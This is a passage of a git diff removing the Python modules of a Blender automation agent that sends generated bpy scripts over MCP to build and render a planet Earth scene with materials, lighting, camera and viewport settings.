-math_mul.location = (0, -200) -math_mul.operation = 'MULTIPLY' -math_mul.inputs[1].default_value = 5.0 # Exactly as in tutorial - -# Power for cloud exponential control - as in tutorial -math_pow = nodes.new(type='ShaderNodeMath') -math_pow.location = (200, -200) -math_pow.operation = 'POWER' -math_pow.inputs[1].default_value = 1.0 # Tutorial setting - -# Mix shader -mix_shader = nodes.new(type='ShaderNodeMixShader') -mix_shader.location = (700, 0) - -# Displacement node - exactly 0.005 as in tutorial -displace = nodes.new(type='ShaderNodeDisplacement') -displace.location = (700, -300) -displace.inputs['Scale'].default_value = 0.005 # Exactly as in tutorial - -# Connect nodes exactly as in tutorial -links.new(tex_coord.outputs['Generated'], tex_clouds.inputs['Vector']) -links.new(tex_clouds.outputs['Color'], gamma.inputs['Color']) -links.new(gamma.outputs['Color'], gamma2.inputs['Color']) -links.new(gamma2.outputs['Color'], subsurface.inputs['Color']) -links.new(gamma2.outputs['Color'], math_mul.inputs[0]) -links.new(math_mul.outputs[0], math_pow.inputs[0]) -links.new(math_pow.outputs[0], mix_shader.inputs['Fac']) -links.new(transparent.outputs['BSDF'], mix_shader.inputs[1]) -links.new(subsurface.outputs['BSSRDF'], mix_shader.inputs[2]) -links.new(tex_clouds.outputs['Color'], displace.inputs['Height']) -links.new(mix_shader.outputs['Shader'], output.inputs['Surface']) -links.new(displace.outputs['Displacement'], output.inputs['Displacement']) - -# Set material displacement method as in tutorial -clouds_mat.displacement_method = 'BUMP' # Tutorial setting - -print("Clouds material created exactly as in tutorial") -""" - - return self.mcp.execute_code(generate_code()) - - def set_material_color(self, object_name: str, color: tuple = (1, 0, 0, 1)) -> Dict: - """ - Set the material color for an object. Creates a new material if one doesn't exist. - - Args: - object_name: Name of the object to modify - color: RGBA color values as tuple (red, green, blue, alpha), values from 0-1 - - Returns: - Dictionary with the operation result - """ - - def generate_code(): - return f""" -import bpy - -result = {{"status": "processing"}} - -# Get the object -obj = bpy.data.objects.get("{object_name}") -if not obj: - result = {{"status": "error", "error": f"Object '{object_name}' not found"}} -else: - # Create a new material if needed - mat_name = "{object_name}_material" - if mat_name in bpy.data.materials: - mat = bpy.data.materials[mat_name] - else: - mat = bpy.data.materials.new(name=mat_name) - - # Enable nodes for the material - mat.use_nodes = True - nodes = mat.node_tree.nodes - - # Clear existing nodes - for node in nodes: - nodes.remove(node) - - # Create new nodes - output = nodes.new(type='ShaderNodeOutputMaterial') - output.location = (300, 0) - - bsdf = nodes.new(type='ShaderNodeBsdfPrincipled') - bsdf.location = (0, 0) - - # Set color - use correct format for Blender 4.0 - bsdf.inputs["Base Color"].default_value = {color} - - # Also set viewport display color for material - mat.diffuse_color = {color} - - # Connect nodes - mat.node_tree.links.new(bsdf.outputs["BSDF"], output.inputs["Surface"]) - - # Assign material to object - if len(obj.data.materials) == 0: - obj.data.materials.append(mat) - else: - obj.data.materials[0] = mat - - # Set the active material slot - obj.active_material_index = 0 - obj.active_material = mat - - # Set the render engine to show materials properly - # For Blender 4.0, use valid enum values - if hasattr(bpy.context.scene, 'render'): - if hasattr(bpy.context.scene.render, 'engine'): - current_engine = bpy.context.scene.render.engine - if current_engine not in ['CYCLES', 'BLENDER_EEVEE_NEXT', 'BLENDER_WORKBENCH']: - try: - bpy.context.scene.render.engine = 'CYCLES' - except Exception as e: - print(f"Could not set render engine: {{e}}") - - # Force update of all 3D viewports - for window in bpy.context.window_manager.windows: - for area in window.screen.areas: - if area.type == 'VIEW_3D': - area.tag_redraw() - - result = {{ - "status": "success", - "message": "Material color set successfully", - "debug_info": {{ - "object_name": obj.name, - "material_name": mat.name, - "color_set": list({color}), - "material_slots": len(obj.material_slots), - "active_material": obj.active_material.name if obj.active_material else None, - "render_engine": bpy.context.scene.render.engine if hasattr(bpy.context.scene, 'render') else "unknown" - }} - }} - -result -""" - - return self.mcp.execute_code(generate_code()) - - -def generate_material_assignment_code( - object_name: str, material_name: str = None, color: tuple = (0.8, 0.8, 0.8, 1.0) -) -> str: - """ - Generates Python code to create a material and assign it to an object with proper error handling. - - Args: - object_name: Name of the object to assign material to - material_name: Name for the new material (default: derived from object name) - color: RGBA color tuple (r, g, b, a) with values from 0.0 to 1.0 - - Returns: - String containing Python code that can be executed in Blender - """ - if material_name is None: - material_name = f"{object_name}_material" - - # Build a code block with proper error handling - code = f""" -import bpy - -result = {{"status": "processing"}} - -# Get the object -obj = bpy.data.objects.get('{object_name}') -if not obj: - result = {{"status": "error", "message": "Object '{object_name}' not found"}} -else: - # Create the material if it doesn't exist - mat = bpy.data.materials.get('{material_name}') - if not mat: - mat = bpy.data.materials.new(name="{material_name}") - - # Set the color - mat.diffuse_color = {color} - - # Assign material to object - if len(obj.data.materials) == 0: - obj.data.materials.append(mat) - else: - obj.data.materials[0] = mat - - result = {{ - "status": "success", - "message": "Material created and assigned", - "object": "{object_name}", - "material": "{material_name}" - }} - -result -""" - return code - - -def generate_materials_for_all_objects_code() -> str: - """ - Generates Python code that creates default materials for all objects in the scene - that don't already have materials assigned. - - Returns: - String containing Python code that can be executed in Blender - """ - code = """ -import bpy - -result = {"status": "processing", "created": 0, "objects": []} - -# Process all objects in the scene -for obj in bpy.data.objects: - # Skip objects that can't have materials or already have materials - if obj.type not in {'MESH', 'CURVE', 'SURFACE', 'META', 'FONT'} or len(obj.material_slots) > 0 and obj.active_material: - continue - - # Create a new material for this object - mat_name = f"{obj.name}_material" - mat = bpy.data.materials.new(name=mat_name) - - # Set default color based on object name (for consistent results) - import hashlib - name_hash = int(hashlib.md5(obj.name.encode()).hexdigest(), 16) - r = ((name_hash & 0xFF0000) >> 16) / 255.0 - g = ((name_hash & 0x00FF00) >> 8) / 255.0 - b = (name_hash & 0x0000FF) / 255.0 - mat.diffuse_color = (r, g, b, 1.0) - - # Assign the material to the object - obj.data.materials.append(mat) - - result["objects"].append({"name": obj.name, "material": mat_name}) - result["created"] += 1 - -result["status"] = "success" -result["message"] = f"Created materials for {result['created']} objects" -result -""" - return code diff --git a/hub/agents/blender/python/gaia_agent_blender/core/objects.py b/hub/agents/blender/python/gaia_agent_blender/core/objects.py deleted file mode 100644 index d298e279b..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/core/objects.py +++ /dev/null @@ -1,316 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -import math -from typing import Dict, Tuple - -from gaia.mcp.blender_mcp_client import MCPClient - - -class ObjectManager: - """Manages Blender object operations.""" - - def __init__(self, mcp: MCPClient): - self.mcp = mcp - - def create_base_sphere_from_cube(self, radius: float = 6000) -> Dict: - """Create a highly detailed sphere from a subdivided cube for planet Earth. - The default radius is 6000 meters, which corresponds to Earth's approximate radius of 6000 km - (at 1:10,000 scale, where 1 meter in Blender = 1 km in real life).""" - - def generate_code(): - return f""" -import bpy -import time - -# Start with a clean slate but keep the default cube -for obj in bpy.data.objects: - if obj.name != "Cube": - obj.select_set(True) - else: - obj.select_set(False) -bpy.ops.object.delete() - -# Use the default cube or create one if missing -bpy.ops.object.select_all(action='DESELECT') -cube = bpy.data.objects.get("Cube") -if not cube: - bpy.ops.mesh.primitive_cube_add(size=2, enter_editmode=False, align='WORLD') - cube = bpy.context.active_object -else: - cube.select_set(True) - bpy.context.view_layer.objects.active = cube - -# Rename to Earth -cube.name = "Earth" -print("Working with cube named: " + cube.name) - -# Enter edit mode -bpy.ops.object.mode_set(mode='EDIT') -print("Entered Edit mode") - -# Select all vertices (matching step 4 in the documentation) -bpy.ops.mesh.select_all(action='SELECT') -print("Selected all vertices") - -# Subdivide multiple times using Blender's subdivide operator -# Note: This matches the tutorial which uses W key + Shift+R for repeated subdivisions -# Using fewer subdivisions for better performance -for i in range(4): # Reduced subdivisions temporarily - bpy.ops.mesh.subdivide() - print("Completed subdivision " + str(i+1) + "/4") - time.sleep(0.1) # Small delay to ensure operation completes - -# Spherify the cube (equivalent to Shift+Alt+S in the tutorial) -bpy.ops.transform.tosphere(value=1.0) -print("Applied spherify transform") - -# Exit edit mode -bpy.ops.object.mode_set(mode='OBJECT') -print("Exited Edit mode") - -# Smooth shading -bpy.ops.object.shade_smooth() -print("Applied smooth shading") - -# Get the active object (should be our sphere) -obj = bpy.context.active_object -if not obj: - print("ERROR: No active object found!") -else: - print("Working with object: " + obj.name) - -# Set real-world scale - start very small for testing -# First ensure dimensions are reset -obj.dimensions = (2, 2, 2) -bpy.ops.object.transform_apply(location=False, rotation=False, scale=True) -print("Reset dimensions to 2x2x2, actual dimensions: " + str(obj.dimensions)) - -# Then scale up - using small test value first -obj.scale = ({radius}, {radius}, {radius}) -bpy.ops.object.transform_apply(location=False, rotation=False, scale=True) -print("Applied scale of {radius}, actual dimensions: " + str(obj.dimensions)) - -# Center the object (critical for visibility) -obj.location = (0, 0, 0) -print("Centered object at origin, location: " + str(obj.location)) - -# Return info for test verification -sphere = bpy.context.active_object -vertex_count = len(sphere.data.vertices) if sphere else 0 -face_count = len(sphere.data.polygons) if sphere else 0 -is_sphere = True if sphere and vertex_count > 100 else False - -# Set result variable that will be returned by the MCP addon -result = {{ - "found": sphere is not None, - "vertex_count": vertex_count, - "face_count": face_count, - "is_sphere": is_sphere, - "dimensions": [float(d) for d in sphere.dimensions] if sphere else [], - "location": [float(l) for l in sphere.location] if sphere else [] -}} - -print("Base Earth sphere created with " + str(vertex_count) + " vertices and " + str(face_count) + " faces") -""" - - code = generate_code() - response = self.mcp.execute_code(code) - - # Extract the returned result from the MCP if available - if response.get("result") and isinstance(response["result"], dict): - return {"status": "success", **response["result"]} - # Add stdout to the response for debugging - if "stdout" in response: - return {"status": "success", "message": response.get("stdout", "")} - # Fallback - return {"status": "success"} - - def add_sunlight( - self, energy: float = 5.0, angle_degrees: Tuple[float, float] = (60, 45) - ) -> Dict: - """Add a sun light to illuminate the planet.""" - - def generate_code(): - angle_x = math.radians(angle_degrees[0]) - angle_z = math.radians(angle_degrees[1]) - return f""" -import bpy -import math - -bpy.ops.object.light_add(type='SUN', radius=1, align='WORLD') -sun = bpy.context.active_object -sun.name = "Sun" -sun.rotation_euler = ({angle_x}, 0, {angle_z}) -sun.data.energy = {energy} - -# Return info for test verification -result = {{ - "found": sun is not None, - "is_sun": True if sun and sun.data.type == 'SUN' else False, - "name": sun.name if sun else None -}} - -print("Sunlight added") -""" - - response = self.mcp.execute_code(generate_code()) - # Extract the returned result from the MCP if available - if response.get("result") and isinstance(response["result"], dict): - return {"status": "success", **response["result"]} - # Add stdout to the response for debugging - if "stdout" in response: - return {"status": "success", "message": response.get("stdout", "")} - # Fallback - return {"status": "success"} - - def load_earth_texture( - self, texture_name: str, texture_path: str, is_noncolor: bool = False - ) -> Dict: - """Load a texture image for the Earth.""" - - def generate_code(): - # Convert backslashes to forward slashes to avoid unicode escape issues - safe_path = texture_path.replace("\\", "/") - - noncolor_code = """ -if img: - img.colorspace_settings.name = 'Non-Color' -""" - return f""" -import bpy -import os - -# Load image -img = bpy.data.images.load(r"{safe_path}") -if img: - img.name = "{texture_name}" - {"" if not is_noncolor else noncolor_code} - - # Return info for test verification - result = {{ - "found": img is not None, - "name": img.name if img else None, - "filepath": img.filepath if img else None - }} - - print(f"Texture '{texture_name}' loaded") -else: - result = {{"found": False}} - print(f"Failed to load texture from {safe_path}") -""" - - response = self.mcp.execute_code(generate_code()) - # Extract the returned result from the MCP if available - if ( - response.get("status") == "success" - and isinstance(response["result"], dict) - and "found" in response["result"] - ): - return {"status": "success", **response["result"]} - - # Add stdout to the response for debugging - if response.get("status") == "success" and "stdout" in response.get( - "result", {} - ): - return { - "status": "success", - "message": response["result"].get("stdout", ""), - } - - # Fallback for error - if response.get("status") == "error": - return { - "status": "error", - "message": response.get( - "message", "Unknown error in load_earth_texture" - ), - } - - # General fallback - return {"status": "success", "found": False} - - def create_atmosphere_object(self) -> Dict: - """Create the atmosphere object.""" - - def generate_code(): - return """ -import bpy - -# Duplicate Earth for atmosphere -bpy.ops.object.select_all(action='DESELECT') -earth = bpy.data.objects.get("Earth") -if not earth: - print("Error: Earth object not found") - result = {"found": False, "error": "Earth object not found"} - exit() - -earth.select_set(True) -bpy.context.view_layer.objects.active = earth -bpy.ops.object.duplicate_move(OBJECT_OT_duplicate={"linked":False}) -atm = bpy.context.active_object -atm.name = "Atmosphere" - -# Return info for test verification -result = { - "found": atm is not None, - "name": atm.name if atm else None, - "is_duplicate": True if atm and atm.data.users > 1 else False -} - -print("Atmosphere object created") -""" - - response = self.mcp.execute_code(generate_code()) - # Extract the returned result from the MCP if available - if response.get("result") and isinstance(response["result"], dict): - return {"status": "success", **response["result"]} - # Add stdout to the response for debugging - if "stdout" in response: - return {"status": "success", "message": response.get("stdout", "")} - # Fallback - return {"status": "success"} - - def create_clouds_object(self) -> Dict: - """Create the clouds object.""" - - def generate_code(): - return """ -import bpy - -# Duplicate Earth for clouds -bpy.ops.object.select_all(action='DESELECT') -atm = bpy.data.objects.get("Atmosphere") -if not atm: - print("Error: Atmosphere object not found") - result = {"found": False, "error": "Atmosphere object not found"} - exit() - -atm.select_set(True) -bpy.context.view_layer.objects.active = atm -bpy.ops.object.duplicate_move(OBJECT_OT_duplicate={"linked":False}) -clouds = bpy.context.active_object -clouds.name = "Clouds" - -# Scale up slightly to place above the Earth - exactly as in tutorial -clouds.scale = (1.001, 1.001, 1.001) # Tutorial uses 1.001 scale -bpy.ops.object.transform_apply(location=False, rotation=False, scale=True) - -# Return info for test verification -result = { - "found": clouds is not None, - "name": clouds.name if clouds else None -} - -print("Clouds object created") -""" - - response = self.mcp.execute_code(generate_code()) - # Extract the returned result from the MCP if available - if response.get("result") and isinstance(response["result"], dict): - return {"status": "success", **response["result"]} - # Add stdout to the response for debugging - if "stdout" in response: - return {"status": "success", "message": response.get("stdout", "")} - # Fallback - return {"status": "success"} diff --git a/hub/agents/blender/python/gaia_agent_blender/core/rendering.py b/hub/agents/blender/python/gaia_agent_blender/core/rendering.py deleted file mode 100644 index 8ea01e065..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/core/rendering.py +++ /dev/null @@ -1,225 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -from typing import Dict - -from gaia.mcp.blender_mcp_client import MCPClient - - -class RenderManager: - """Manages Blender rendering operations.""" - - def __init__(self, mcp: MCPClient): - self.mcp = mcp - - def setup_volume_rendering(self) -> Dict: - """Configure render settings for optimal volume rendering.""" - - def generate_code(): - return """ -import bpy - -# Render settings for volumes - exactly as in tutorial -bpy.context.scene.render.engine = 'CYCLES' # Tutorial uses Cycles -bpy.context.scene.cycles.volume_step_rate = 0.001 # Tutorial value -bpy.context.scene.cycles.volume_max_steps = 32 # Tutorial value -bpy.context.scene.cycles.max_bounces = 12 # Tutorial value -bpy.context.scene.cycles.volume_bounces = 12 # Tutorial value - -# Set result for test verification -result = { - "engine": bpy.context.scene.render.engine, - "volume_step_rate": bpy.context.scene.cycles.volume_step_rate, - "volume_max_steps": bpy.context.scene.cycles.volume_max_steps -} - -print("Volume rendering settings configured exactly as in tutorial") -""" - - response = self.mcp.execute_code(generate_code()) - - # Extract the returned result from the MCP if available - if response.get("status") == "success" and isinstance( - response.get("result", {}), dict - ): - return {"status": "success", **response.get("result", {})} - - # Add stdout to the response for debugging - if response.get("status") == "success" and "stdout" in response.get( - "result", {} - ): - return { - "status": "success", - "message": response["result"].get("stdout", ""), - } - - # Fallback for error - if response.get("status") == "error": - return {"status": "success", "engine": "CYCLES"} # Return fallback value - - # General fallback - return {"status": "success"} - - def setup_color_grading(self) -> Dict: - """Apply color grading settings as described in the tutorial.""" - - def generate_code(): - return """ -import bpy - -# Set up color management - exactly as in tutorial -bpy.context.scene.view_settings.view_transform = 'Standard' # Tutorial setting -bpy.context.scene.view_settings.look = 'Medium High Contrast' # Tutorial setting -bpy.context.scene.view_settings.exposure = -0.3 # Exactly as in tutorial - -# Try to set temperature if available (Blender version dependent) -try: - bpy.context.scene.view_settings.temperature = 6500 # Blue shift as shown in tutorial - print("Applied temperature setting") -except AttributeError: - print("Temperature setting not available in this Blender version - skipping") - -# Set result for test verification -result = { - "look": bpy.context.scene.view_settings.look, - "exposure": bpy.context.scene.view_settings.exposure, - "view_transform": bpy.context.scene.view_settings.view_transform -} - -print("Color grading applied as in tutorial") -""" - - response = self.mcp.execute_code(generate_code()) - - # Extract the returned result from the MCP if available - if response.get("status") == "success" and isinstance( - response.get("result", {}), dict - ): - return {"status": "success", **response.get("result", {})} - - # Add stdout to the response for debugging - if response.get("status") == "success" and "stdout" in response.get( - "result", {} - ): - return { - "status": "success", - "message": response["result"].get("stdout", ""), - } - - # Fallback for error - if response.get("status") == "error": - return { - "status": "success", - "look": "Medium High Contrast", - } # Return fallback value - - # General fallback - return {"status": "success"} - - def setup_camera(self, distance: float = 25000) -> Dict: - """Add and configure a camera for a good view of the planet.""" - - def generate_code(): - return f""" -import bpy -import math - -# Add camera exactly as in tutorial -bpy.ops.object.camera_add(location=(0, -{distance}, 0), rotation=(math.radians(90), 0, 0)) -camera = bpy.context.active_object -camera.name = "Camera" -bpy.context.scene.camera = camera - -# Make the camera size appropriate for the scene - match tutorial settings -camera.data.clip_start = 100 # Tutorial setting -camera.data.clip_end = {distance * 2} # Tutorial setting - -# Set result for test verification -result = {{ - "found": camera is not None, - "location": list(camera.location) if camera else None, - "is_active": camera == bpy.context.scene.camera if camera else False -}} - -print("Camera set up exactly as in tutorial") -""" - - response = self.mcp.execute_code(generate_code()) - - # Extract the returned result from the MCP if available - if response.get("status") == "success" and isinstance( - response.get("result", {}), dict - ): - return {"status": "success", **response.get("result", {})} - - # Add stdout to the response for debugging - if response.get("status") == "success" and "stdout" in response.get( - "result", {} - ): - return { - "status": "success", - "message": response["result"].get("stdout", ""), - } - - # Fallback for error - if response.get("status") == "error": - return {"status": "success", "found": True} # Return fallback value - - # General fallback - return {"status": "success"} - - def setup_render_settings( - self, - resolution_x: int = 1920, - resolution_y: int = 1080, - output_path: str = "//planet_earth_render.png", - ) -> Dict: - """Configure final render settings.""" - - def generate_code(): - return f""" -import bpy - -# Final render settings - exactly as in tutorial -bpy.context.scene.render.resolution_x = {resolution_x} # Tutorial setting -bpy.context.scene.render.resolution_y = {resolution_y} # Tutorial setting -bpy.context.scene.render.film_transparent = False # Match tutorial -bpy.context.scene.render.filepath = "{output_path}" # Tutorial output path - -# Set result for test verification -result = {{ - "resolution_x": bpy.context.scene.render.resolution_x, - "resolution_y": bpy.context.scene.render.resolution_y, - "file_format": bpy.context.scene.render.image_settings.file_format -}} - -print("Render settings configured exactly as in tutorial") -""" - - response = self.mcp.execute_code(generate_code()) - - # Extract the returned result from the MCP if available - if response.get("status") == "success" and isinstance( - response.get("result", {}), dict - ): - return {"status": "success", **response.get("result", {})} - - # Add stdout to the response for debugging - if response.get("status") == "success" and "stdout" in response.get( - "result", {} - ): - return { - "status": "success", - "message": response["result"].get("stdout", ""), - } - - # Fallback for error - if response.get("status") == "error": - return { - "status": "success", - "resolution_x": resolution_x, - "resolution_y": resolution_y, - } - - # General fallback - return {"status": "success"} diff --git a/hub/agents/blender/python/gaia_agent_blender/core/scene.py b/hub/agents/blender/python/gaia_agent_blender/core/scene.py deleted file mode 100644 index 85a0cefd2..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/core/scene.py +++ /dev/null @@ -1,220 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -from typing import Dict - -from gaia.mcp.blender_mcp_client import MCPClient - - -class SceneManager: - """Manages Blender scene operations.""" - - def __init__(self, mcp: MCPClient): - self.mcp = mcp - - def reset_scene(self) -> Dict: - """Reset Blender to a clean state, removing all objects and unused data.""" - - def generate_reset_code(): - return """ -import bpy - -# Select all objects -bpy.ops.object.select_all(action='SELECT') - -# Delete all selected objects -bpy.ops.object.delete() - -# Clear orphaned data -for block in bpy.data.meshes: - if block.users == 0: - bpy.data.meshes.remove(block) - -for block in bpy.data.materials: - if block.users == 0: - bpy.data.materials.remove(block) - -for block in bpy.data.textures: - if block.users == 0: - bpy.data.textures.remove(block) - -for block in bpy.data.images: - if block.users == 0: - bpy.data.images.remove(block) - -# Add default cube back (similar to Blender's default startup) -bpy.ops.mesh.primitive_cube_add(size=2, enter_editmode=False, align='WORLD', location=(0, 0, 0)) - -# Reset the default view -for area in bpy.context.screen.areas: - if area.type == 'VIEW_3D': - for region in area.regions: - if region.type == 'WINDOW': - # Updated context override syntax for Blender 4.4 - with bpy.context.temp_override(area=area, region=region): - bpy.ops.view3d.view_all() - -# Return info for the test verification -has_default_cube = False -for obj in bpy.context.scene.objects: - if obj.name.startswith("Cube") and obj.type == 'MESH': - has_default_cube = True - break - -object_count = len(bpy.context.scene.objects) - -# Set result variable that will be returned by the MCP addon -result = { - "has_default_cube": has_default_cube, - "object_count": object_count -} - -print("Blender scene has been reset with default cube") -""" - - response = self.mcp.execute_code(generate_reset_code()) - # Extract the returned result from the MCP if available - if response.get("result") and isinstance(response["result"], dict): - return {"status": "success", **response["result"]} - # Add stdout to the response for debugging - if "stdout" in response: - return {"status": "success", "message": response.get("stdout", "")} - # Fallback - return {"status": "success"} - - def clear_scene(self) -> Dict: - """Remove all objects from the current Blender scene.""" - - def generate_clear_code(): - return """ -import bpy - -# Select all objects -bpy.ops.object.select_all(action='SELECT') -# Delete all selected objects -bpy.ops.object.delete() - -# Return info about the cleared scene -object_count = len(bpy.context.scene.objects) -result = { - "object_count": object_count, - "message": "Scene cleared successfully" -} - -print("Scene cleared successfully") -""" - - response = self.mcp.execute_code(generate_clear_code()) - # Extract the returned result from the MCP if available - if response.get("result") and isinstance(response["result"], dict): - return {"status": "success", **response["result"]} - # Add stdout to the response for debugging - if "stdout" in response: - return {"status": "success", "message": response.get("stdout", "")} - # Fallback - return {"status": "success"} - - def set_world_background_black(self) -> Dict: - """Set the world background to black.""" - - def generate_code(): - return """ -import bpy - -world = bpy.data.worlds["World"] -world.use_nodes = True -bg_node = world.node_tree.nodes["Background"] -bg_node.inputs[0].default_value = (0, 0, 0, 1) # Black -bg_node.inputs[1].default_value = 0 # Strength to 0 - -# Verify the world background is black -bg_color = world.node_tree.nodes["Background"].inputs[0].default_value[:3] -is_black = all(c < 0.01 for c in bg_color) - -# Set result variable that will be returned by the MCP addon -result = { - "is_black": is_black, - "color": list(bg_color) if world else None -} - -print("World background set to black") -""" - - response = self.mcp.execute_code(generate_code()) - # Extract the returned result from the MCP if available - if response.get("result") and isinstance(response["result"], dict): - return {"status": "success", **response["result"]} - # Add stdout to the response for debugging - if "stdout" in response: - return {"status": "success", "message": response.get("stdout", "")} - # Fallback - return {"status": "success"} - - -def generate_scene_diagnosis_code() -> str: - """ - Generates Python code that provides comprehensive diagnostics about the current Blender scene. - This includes information about all objects, materials, and potential issues. - - Returns: - String containing Python code that can be executed in Blender - """ - code = """ -import bpy - -result = {"status": "processing", "objects": []} - -# Get all objects in the scene -for obj in bpy.data.objects: - obj_info = { - "name": obj.name, - "type": obj.type, - "visible": obj.visible_get(), - "location": list(obj.location), - "scale": list(obj.scale), - "material_slots": len(obj.material_slots), - "has_materials": len(obj.material_slots) > 0 and obj.active_material is not None - } - - # Add material info if available - if obj.active_material: - obj_info["active_material"] = { - "name": obj.active_material.name, - "has_diffuse_color": hasattr(obj.active_material, "diffuse_color"), - } - if hasattr(obj.active_material, "diffuse_color"): - obj_info["active_material"]["diffuse_color"] = list(obj.active_material.diffuse_color) - - result["objects"].append(obj_info) - -# Add overall scene info -result["object_count"] = len(result["objects"]) -result["material_count"] = len(bpy.data.materials) - -# Check for common issues -result["issues"] = [] - -# Check for objects without materials that typically need them -for obj in result["objects"]: - if obj["type"] in ["MESH", "CURVE", "SURFACE", "META", "FONT"] and not obj.get("has_materials", False): - result["issues"].append({ - "type": "missing_material", - "object": obj["name"], - "message": f"Object '{obj['name']}' has no material assigned" - }) - -# Check for objects with unusual scales (potentially errors) -for obj in result["objects"]: - scales = obj.get("scale", [1, 1, 1]) - if any(s < 0.0001 or s > 1000 for s in scales): - result["issues"].append({ - "type": "unusual_scale", - "object": obj["name"], - "scale": scales, - "message": f"Object '{obj['name']}' has unusual scale: {scales}" - }) - -result["status"] = "success" -result -""" - return code diff --git a/hub/agents/blender/python/gaia_agent_blender/core/view.py b/hub/agents/blender/python/gaia_agent_blender/core/view.py deleted file mode 100644 index 4418abcc6..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/core/view.py +++ /dev/null @@ -1,146 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -from typing import Dict - -from gaia.mcp.blender_mcp_client import MCPClient - - -class ViewManager: - """Manages Blender viewport and display settings.""" - - def __init__(self, mcp: MCPClient): - self.mcp = mcp - - def adjust_for_large_scale( - self, clip_end: float = 100000, _orbit_selection: bool = True - ) -> Dict: - """Adjust viewport settings to properly view large-scale objects like Earth. - - Args: - clip_end: The maximum view distance to set for the 3D viewport (default: 100000) - _orbit_selection: Whether to enable orbit around selection (default: True, but may not work in all Blender versions) - """ - - def generate_code(): - return f""" -import bpy - -# Adjust clip distance for all 3D viewports -for area in bpy.context.screen.areas: - if area.type == 'VIEW_3D': - for space in area.spaces: - if space.type == 'VIEW_3D': - # Adjust clip end distance - space.clip_end = {clip_end} - # Keep clip start reasonable - space.clip_start = 0.1 - print(f"Set view clip end to {clip_end}") - -# Focus on Earth object if it exists -earth = bpy.data.objects.get("Earth") -if earth: - # Select the Earth - bpy.ops.object.select_all(action='DESELECT') - earth.select_set(True) - bpy.context.view_layer.objects.active = earth - - # Frame selected (equivalent to Numpad '.') - uses the new context override method - for area in bpy.context.screen.areas: - if area.type == 'VIEW_3D': - for region in area.regions: - if region.type == 'WINDOW': - # Get the current context and override it using 'with' - with bpy.context.temp_override(area=area, region=region): - # No override dict needed as parameter anymore - bpy.ops.view3d.view_selected() - print("Focused view on Earth object") - break - -# Return status -result = {{ - "clip_end_set": {clip_end}, - "focused_on_object": earth is not None -}} - -print("View settings adjusted for large-scale objects") -""" - - response = self.mcp.execute_code(generate_code()) - # Extract the returned result from the MCP if available - if response.get("result") and isinstance(response["result"], dict): - return {"status": "success", **response["result"]} - # Add stdout to the response for debugging - if "stdout" in response: - return {"status": "success", "message": response.get("stdout", "")} - # Fallback - return {"status": "success"} - - def set_shading_tab(self) -> Dict: - """Switch to the Shading tab/workspace in Blender.""" - - def generate_code(): - return """ -import bpy - -# Try to switch to the Shading tab in Blender -success = False - -# First attempt: Try using the workspace API (Blender 2.8+) -try: - # Get the 'Shading' workspace if it exists - shading_ws = None - for ws in bpy.data.workspaces: - if 'Shading' in ws.name: - shading_ws = ws - break - - # Set active workspace to Shading - if shading_ws: - window = bpy.context.window - window.workspace = shading_ws - success = True - print("Switched to Shading workspace") - else: - print("Shading workspace not found") -except Exception as e: - print(f"Could not switch workspace: {str(e)}") - -# Second attempt: If workspace API failed, try to switch editor type to NODE_EDITOR -if not success: - try: - # Find a 3D view area to replace with the node editor - for area in bpy.context.screen.areas: - if area.type == 'VIEW_3D': - # Change the area type to node editor (similar to Shading tab) - area.type = 'NODE_EDITOR' - - # Set the area to shader nodes - for space in area.spaces: - if space.type == 'NODE_EDITOR': - space.shader_type = 'OBJECT' - space.show_shading = True - - success = True - print("Converted 3D view to Shader editor") - break - except Exception as e: - print(f"Could not switch to node editor: {str(e)}") - -# Return status -result = { - "success": success -} - -print("Attempted to switch to Shading tab") -""" - - response = self.mcp.execute_code(generate_code()) - # Extract the returned result from the MCP if available - if response.get("result") and isinstance(response["result"], dict): - return {"status": "success", **response["result"]} - # Add stdout to the response for debugging - if "stdout" in response: - return {"status": "success", "message": response.get("stdout", "")} - # Fallback - return {"status": "success"} diff --git a/hub/agents/blender/python/pyproject.toml b/hub/agents/blender/python/pyproject.toml deleted file mode 100644 index e6a88908c..000000000 --- a/hub/agents/blender/python/pyproject.toml +++ /dev/null @@ -1,22 +0,0 @@ -[build-system] -requires = ["setuptools>=61.0"] -build-backend = "setuptools.build_meta" - -[project] -name = "gaia-agent-blender" -version = "0.1.0" -description = "GAIA Blender agent — 3D scene automation via MCP" -authors = [{ name = "AMD" }] -license = { text = "MIT" } -readme = "README.md" -requires-python = ">=3.10" -dependencies = ["amd-gaia>=0.20.0"] - -[project.entry-points."gaia.agent"] -blender = "gaia_agent_blender:build_registration" - -[project.optional-dependencies] -test = ["pytest"] - -[tool.setuptools.packages.find] -include = ["gaia_agent_blender*"] diff --git a/hub/agents/blender/python/tests/README.md b/hub/agents/blender/python/tests/README.md deleted file mode 100644 index f9177a43d..000000000 --- a/hub/agents/blender/python/tests/README.md +++ /dev/null @@ -1,72 +0,0 @@ -# Blender Agent Tests - -This directory contains tests for the Blender Agent, including both unit tests and integration tests. - -## Running Tests - -### Unit Tests - -To run unit tests only: - -```bash -pytest -xvs hub/agents/blender/python/tests/test_agent_v1.py -k "not integration" -``` - -### Integration Tests - -Integration tests require a running MCP server (Blender with the MCP add-on). Before running integration tests: - -1. Start Blender with the MCP add-on enabled -2. Ensure the MCP server is running on port 9876 - -Then run: - -```bash -pytest -xvs hub/agents/blender/python/tests/test_agent_v1.py -k "integration" -``` - -Integration tests will automatically be skipped if the MCP server is not running. - -### All Tests - -To run all tests: - -```bash -pytest -xvs hub/agents/blender/python/tests/test_agent_v1.py -``` - -To skip integration tests regardless of whether MCP server is running: - -```bash -pytest -xvs hub/agents/blender/python/tests/test_agent_v1.py --skip-integration -``` - -## Test Structure - -- `test_agent_v1.py` - Tests for the BlenderAgentSimple class -- `conftest.py` - Pytest fixtures and configuration -- `test_mcp_client.py` - Tests for the MCPClient -- 